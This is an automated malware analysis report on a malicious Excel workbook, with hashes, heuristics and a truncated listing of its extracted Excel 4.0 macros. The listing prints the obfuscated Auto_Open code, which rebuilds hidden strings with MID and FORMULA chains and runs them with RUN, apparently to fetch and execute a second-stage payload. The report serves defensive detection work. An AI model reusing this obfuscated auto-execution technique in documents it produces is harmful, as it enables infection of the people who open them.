Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 54e6f26d54a59adf…

MALICIOUS

Office (OLE)

214.5 KB Created: 2020-05-19 09:30:23 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: dc42837f836fed42b60b7e7c411ef73c SHA-1: 680ac1f1de4322963be70834e534686f59775734 SHA-256: 54e6f26d54a59adff7d14ebb3238ab2ad665a11ee146fc1765e0615210794030
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macros utilize dangerous formula APIs, including the RUN function, indicating an intent to execute arbitrary code. The macro code appears to be obfuscated and attempts to reconstruct a string from various cell references, likely forming a command or URL for a second-stage payload. The presence of the RUN function and the use of dangerous APIs strongly suggest this macro is designed to download and execute further malicious content.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39457 bytes
SHA-256: ce3612329609af1c8a78811f7e7126f726a96daadc4d06d650ecf1108f5dc0fc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AXLnA8JmRISQQE0lUjeUpCu6wCbs1
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!JC17989 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,JG527,"SET.VALUE(BM27875,"23456789:;<=>?@ABCD")",""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,JG528,RUN(CW42387),""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,EQ1857,"SET.VALUE(IQ64587,"XYZ[\]^_`abcdefghij")",""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,EQ1858,RUN(EQ48743),""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,GV3485,"FORMULA(MID(IV17590,12,1)&MID(ER18785,3,1)&MID(IQ64587,17,1)&MID(CS22480,10,1)&MID(CS22480,10,1)&MID(CS22480,6,1)&MID(CS22480,9,1)&MID(IV17590,9,1)&MID(ER18785,16,1)&MID(ER18785,16,1)&MID(IQ64587,13,1)&MID(CS22480,5,1)&MID(IQ64587,12,1)&MID(CS22480,9,1)&MID(ER18785,15,1)&MID(CS22480,3,1)&MID(IQ64587,18,1)&MID(IQ64587,12,1)&MID(CS22480,8,1)&MID(CS22480,5,1)&MID(CS22480,9,1)&MID(CS22480,5,1)&MID(IQ64587,15,1)&MID(CS22480,10,1)&MID(ER18785,15,1)&MID(IQ64587,12,1)&MID(CS22480,5,1)&MID(CS22480,3,1)&MID(ER18785,16,1)&MID(IQ64587,14,1)&MID(CS22480,4,1)&MID(ER18785,14,1)&MID(CS22480,11,1)&MID(CS22480,9,1)&MID(ER18785,16,1)&MID(CS22480,5,1)&MID(IQ64587,15,1)&MID(IQ64587,15,1)&MID(IQ64587,18,1)&MID(IQ64587,12,1)&MID(IQ64587,14,1)&MID(CS22480,11,1)&MID(CS22480,6,1)&MID(IQ64587,13,1)&MID(IQ64587,10,1)&MID(CS22480,10,1)&MID(IQ64587,14,1)&MID(CS22480,9,1)&MID(ER18785,16,1)&MID(CS22480,5,1)&MID(IQ64587,15,1)&MID(IQ64587,15,1)&MID(IQ64587,18,1)&MID(IQ64587,12,1)&MID(IQ64587,14,1)&MID(ER18785,14,1)&MID(CS22480,3,1)&MID(CS22480,9,1)&MID(IQ64587,18,1)&MID(ER18785,14,1)&MID(CS22480,4,1)&MID(CS22480,5,1)&MID(CS22480,4,1)&MID(ER18785,14,1)&MID(CS22480,9,1)&MID(IQ64587,14,1)&MID(IQ64587,12,1)&MID(CS22480,11,1)&MID(CS22480,8,1)&MID(IQ64587,18,1)&MID(CS22480,10,1)&MID(CS22480,15,1)&MID(ER18785,14,1)&MID(CS22480,11,1)&MID(CS22480,6,1)&MID(IQ64587,13,1)&MID(IQ64587,10,1)&MID(CS22480,10,1)&MID(IQ64587,14,1)&MID(CS22480,9,1)&MID(ER18785,3,1),GZ50260)",""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,GV3486,RUN(HB52036),""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,J7434,"FORMULA(MID(IV17590,12,1)&MID(JP15392,5,1)&MID(JP15392,2,1)&MID(ER18785,9,1)&MID(JP15392,5,1)&MID(JP15392,15,1)&MID(JP15392,10,1)&MID(JP15392,17,1)&MID(JP15392,9,1)&MID(IV17590,17,1)&MID(JP15392,1,1)&MID(JP15392,14,1)&MID(ER18785,9,1)&MID(JP15392,15,1)&MID(JP15392,1,1)&MID(IV17590,16,1)&MID(JP15392,14,1)&MID(IV17590,18,1)&MID(JP15392,4,1)&MID(ER18785,9,1)&MID(ER18785,3,1)&MID(ER18785,17,1)&MID(ER18785,17,1)&MID(ER18785,17,1)&MID(ER18785,18,1)&MID(ER18785,3,1)&MID(ER18785,13,1)&MID(JP15392,14,1)&MID(IQ64587,4,1)&MID(ER18785,18,1)&MID(IV17590,6,1)&MID(IV17590,1,1)&MID(IV17590,7,1)&MID(IV17590,6,1)&MID(IQ64587,6,1)&MID(IV17590,18,1)&MID(IQ64587,4,1)&MID(ER18785,18,1)&MID(IV17590,2,1)&MID(IV17590,4,1)&MID(IQ64587,6,1)&MID(ER18785,10,1)&MID(ER18785,10,1)&MID(ER18785,13,1)&MID(JP15392,3,1)&MID(JP15392,11,1)&MID(JP15392,16,1)&MID(JP15392,11,1)&MID(ER18785,9,1)&MID(JP15392,14,1)&MID(IQ64587,4,1)&MID(ER18785,14,1)&MID(ER18785,18,1)&MID(IV17590,6,1)&MID(IV17590,6,1)&MID(ER18785,18,1)&MID(IQ64587,6,1)&MID(IV17590,18,1)&MID(IQ64587,4,1)&MID(IV17590,5,1)&MID(IV17590,1,1)&MID(IQ64587,6,1)&MID(ER18785,10,1)&MID(ER18785,13,1)&MID(ER18785,10,1),J7435)",""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,J7436,RUN(IX24472),""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,BD8235,"SET.VALUE(DZ34724,"XYZ[\]^_`abcdefghij")",""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,BD8236,GOTO(JM14221),""
'  AXLnA8JmRISQQE0lUjeUpCu6wCbs1,P9041,"FORMULA(MID(BM27875,12,1)&MID(JU1064,3,1)&MID(BM27875,18,1)&MID(BM27875,9,1)&MID(DZ34724,5,1)&MID(HR56488,17,1)&MID(Z49622,9,1)&MID(DZ34724,14,1)&MID(Z49622,8,1)&MID(Z49622,9,1)&MID(DZ34724,5,1)&MID(HR56488,12,1)&MID(Z49622,11,1)&MID(DZ34724,11,1)&MID(Z49622,2,1)&MID(DZ34724,18,1)&MID(DZ34724,12,1)&MID(DZ34724,5,1)&M
... (truncated)